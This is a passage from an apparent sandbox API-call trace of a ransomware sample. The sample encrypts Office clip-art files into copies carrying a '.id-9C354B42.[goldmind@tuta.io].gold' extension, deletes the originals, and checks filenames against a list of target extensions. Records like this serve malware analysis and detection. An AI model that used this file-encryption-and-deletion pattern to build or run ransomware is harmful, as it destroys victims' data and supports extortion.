lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0110.196] SetEndOfFile (hFile=0x180) returned 1 [0110.196] CloseHandle (hObject=0x180) returned 1 [0110.196] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.196] SetEndOfFile (hFile=0x198) returned 1 [0110.197] CloseHandle (hObject=0x198) returned 1 [0110.198] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0110.198] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152884.wmf")) returned 1 [0110.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF") returned 63 [0110.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF") returned 63 [0110.199] lstrlenW (lpString=".doc") returned 4 [0110.199] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0110.199] lstrlenW (lpString=".docx") returned 5 [0110.199] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0110.199] lstrlenW (lpString=".pdf") returned 4 [0110.199] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0110.199] lstrlenW (lpString=".xls") returned 4 [0110.199] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0110.199] lstrlenW (lpString=".xlsx") returned 5 [0110.199] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0110.199] lstrlenW (lpString=".ppt") returned 4 [0110.199] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0110.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF") returned 63 [0110.199] lstrlenW (lpString=".zip") returned 4 [0110.199] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0110.199] lstrlenW (lpString=".rar") returned 4 [0110.199] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0110.199] lstrlenW (lpString=".bz2") returned 4 [0110.199] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0110.199] lstrlenW (lpString=".7z") returned 3 [0110.199] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0110.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF") returned 63 [0110.199] lstrlenW (lpString=".dbf") returned 4 [0110.199] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0110.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF") returned 63 [0110.199] lstrlenW (lpString=".1cd") returned 4 [0110.199] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0110.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF") returned 63 [0110.199] lstrlenW (lpString=".jpg") returned 4 [0110.199] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0110.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF") returned 63 [0110.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF") returned 63 [0110.199] lstrlenW (lpString=".doc") returned 4 [0110.199] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0110.199] lstrlenW (lpString=".docx") returned 5 [0110.199] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0110.199] lstrlenW (lpString=".pdf") returned 4 [0110.199] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0110.199] lstrlenW (lpString=".xls") returned 4 [0110.199] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0110.199] lstrlenW (lpString=".xlsx") returned 5 [0110.199] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0110.199] lstrlenW (lpString=".ppt") returned 4 [0110.199] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0110.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF") returned 63 [0110.199] lstrlenW (lpString=".zip") returned 4 [0110.199] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0110.199] lstrlenW (lpString=".rar") returned 4 [0110.199] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0110.200] lstrlenW (lpString=".bz2") returned 4 [0110.200] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0110.200] lstrlenW (lpString=".7z") returned 3 [0110.200] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0110.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF") returned 63 [0110.200] lstrlenW (lpString=".dbf") returned 4 [0110.200] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0110.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF") returned 63 [0110.200] lstrlenW (lpString=".1cd") returned 4 [0110.200] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0110.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF") returned 63 [0110.200] lstrlenW (lpString=".jpg") returned 4 [0110.200] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0110.200] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0110.200] lstrlenW (lpString="J0152892.WMF") returned 12 [0110.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152892.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0110.208] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=10668) returned 1 [0110.208] CloseHandle (hObject=0x3a0) returned 1 [0110.208] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152892.wmf")) returned 0x20 [0110.208] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152892.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152892.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0110.209] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.209] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152892.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0110.209] GetLastError () returned 0x0 [0110.210] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x29ac, lpOverlapped=0x0) returned 1 [0110.211] WriteFile (in: hFile=0x188, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x29b0, lpOverlapped=0x0) returned 1 [0110.212] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0110.212] WriteFile (in: hFile=0x188, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0110.212] SetEndOfFile (hFile=0x188) returned 1 [0110.212] CloseHandle (hObject=0x188) returned 1 [0110.212] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.212] SetEndOfFile (hFile=0x3a0) returned 1 [0110.214] CloseHandle (hObject=0x3a0) returned 1 [0110.214] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0110.214] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152892.wmf")) returned 1 [0110.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF") returned 63 [0110.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF") returned 63 [0110.215] lstrlenW (lpString=".doc") returned 4 [0110.215] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0110.215] lstrlenW (lpString=".docx") returned 5 [0110.215] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0110.215] lstrlenW (lpString=".pdf") returned 4 [0110.216] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0110.216] lstrlenW (lpString=".xls") returned 4 [0110.216] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0110.216] lstrlenW (lpString=".xlsx") returned 5 [0110.216] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0110.216] lstrlenW (lpString=".ppt") returned 4 [0110.216] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0110.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF") returned 63 [0110.216] lstrlenW (lpString=".zip") returned 4 [0110.216] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0110.216] lstrlenW (lpString=".rar") returned 4 [0110.216] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0110.216] lstrlenW (lpString=".bz2") returned 4 [0110.216] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0110.216] lstrlenW (lpString=".7z") returned 3 [0110.216] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0110.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF") returned 63 [0110.216] lstrlenW (lpString=".dbf") returned 4 [0110.216] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0110.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF") returned 63 [0110.216] lstrlenW (lpString=".1cd") returned 4 [0110.216] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0110.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF") returned 63 [0110.216] lstrlenW (lpString=".jpg") returned 4 [0110.216] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0110.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF") returned 63 [0110.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF") returned 63 [0110.216] lstrlenW (lpString=".doc") returned 4 [0110.216] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0110.216] lstrlenW (lpString=".docx") returned 5 [0110.216] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0110.216] lstrlenW (lpString=".pdf") returned 4 [0110.216] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0110.216] lstrlenW (lpString=".xls") returned 4 [0110.216] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0110.216] lstrlenW (lpString=".xlsx") returned 5 [0110.216] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0110.216] lstrlenW (lpString=".ppt") returned 4 [0110.216] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0110.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF") returned 63 [0110.217] lstrlenW (lpString=".zip") returned 4 [0110.217] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0110.217] lstrlenW (lpString=".rar") returned 4 [0110.217] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0110.217] lstrlenW (lpString=".bz2") returned 4 [0110.217] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0110.217] lstrlenW (lpString=".7z") returned 3 [0110.217] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0110.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF") returned 63 [0110.217] lstrlenW (lpString=".dbf") returned 4 [0110.217] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0110.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF") returned 63 [0110.217] lstrlenW (lpString=".1cd") returned 4 [0110.217] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0110.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF") returned 63 [0110.217] lstrlenW (lpString=".jpg") returned 4 [0110.217] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0110.217] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0110.217] lstrlenW (lpString="J0152894.WMF") returned 12 [0110.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152894.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0110.218] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=11348) returned 1 [0110.218] CloseHandle (hObject=0x3a0) returned 1 [0110.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152894.wmf")) returned 0x20 [0110.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152894.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152894.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0110.218] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.218] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152894.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0110.219] GetLastError () returned 0x0 [0110.219] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x2c54, lpOverlapped=0x0) returned 1 [0110.220] WriteFile (in: hFile=0x188, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x2c60, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x2c60, lpOverlapped=0x0) returned 1 [0110.221] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0110.221] WriteFile (in: hFile=0x188, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0110.221] SetEndOfFile (hFile=0x188) returned 1 [0110.221] CloseHandle (hObject=0x188) returned 1 [0110.221] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.221] SetEndOfFile (hFile=0x3a0) returned 1 [0110.225] CloseHandle (hObject=0x3a0) returned 1 [0110.225] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0110.225] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152894.wmf")) returned 1 [0110.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF") returned 63 [0110.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF") returned 63 [0110.226] lstrlenW (lpString=".doc") returned 4 [0110.226] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0110.226] lstrlenW (lpString=".docx") returned 5 [0110.226] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0110.226] lstrlenW (lpString=".pdf") returned 4 [0110.226] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0110.226] lstrlenW (lpString=".xls") returned 4 [0110.226] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0110.226] lstrlenW (lpString=".xlsx") returned 5 [0110.226] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0110.226] lstrlenW (lpString=".ppt") returned 4 [0110.226] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0110.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF") returned 63 [0110.226] lstrlenW (lpString=".zip") returned 4 [0110.226] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0110.226] lstrlenW (lpString=".rar") returned 4 [0110.226] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0110.226] lstrlenW (lpString=".bz2") returned 4 [0110.226] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0110.226] lstrlenW (lpString=".7z") returned 3 [0110.226] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0110.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF") returned 63 [0110.226] lstrlenW (lpString=".dbf") returned 4 [0110.226] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0110.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF") returned 63 [0110.226] lstrlenW (lpString=".1cd") returned 4 [0110.226] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0110.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF") returned 63 [0110.226] lstrlenW (lpString=".jpg") returned 4 [0110.226] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0110.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF") returned 63 [0110.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF") returned 63 [0110.226] lstrlenW (lpString=".doc") returned 4 [0110.226] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0110.226] lstrlenW (lpString=".docx") returned 5 [0110.226] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0110.226] lstrlenW (lpString=".pdf") returned 4 [0110.226] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0110.226] lstrlenW (lpString=".xls") returned 4 [0110.226] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0110.226] lstrlenW (lpString=".xlsx") returned 5 [0110.226] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0110.226] lstrlenW (lpString=".ppt") returned 4 [0110.226] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0110.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF") returned 63 [0110.226] lstrlenW (lpString=".zip") returned 4 [0110.227] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0110.227] lstrlenW (lpString=".rar") returned 4 [0110.227] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0110.227] lstrlenW (lpString=".bz2") returned 4 [0110.227] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0110.227] lstrlenW (lpString=".7z") returned 3 [0110.227] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0110.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF") returned 63 [0110.227] lstrlenW (lpString=".dbf") returned 4 [0110.227] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0110.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF") returned 63 [0110.227] lstrlenW (lpString=".1cd") returned 4 [0110.227] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0110.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF") returned 63 [0110.227] lstrlenW (lpString=".jpg") returned 4 [0110.227] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0110.227] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0110.227] lstrlenW (lpString="J0152898.WMF") returned 12 [0110.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152898.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0110.227] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=4496) returned 1 [0110.228] CloseHandle (hObject=0x3a0) returned 1 [0110.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152898.wmf")) returned 0x20 [0110.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152898.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152898.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0110.228] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.228] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152898.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0110.229] GetLastError () returned 0x0 [0110.229] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x1190, lpOverlapped=0x0) returned 1 [0110.476] WriteFile (in: hFile=0x188, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x11a0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x11a0, lpOverlapped=0x0) returned 1 [0110.476] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0110.476] WriteFile (in: hFile=0x188, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0110.476] SetEndOfFile (hFile=0x188) returned 1 [0110.476] CloseHandle (hObject=0x188) returned 1 [0110.477] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.477] SetEndOfFile (hFile=0x3a0) returned 1 [0110.478] CloseHandle (hObject=0x3a0) returned 1 [0110.478] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0110.496] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft 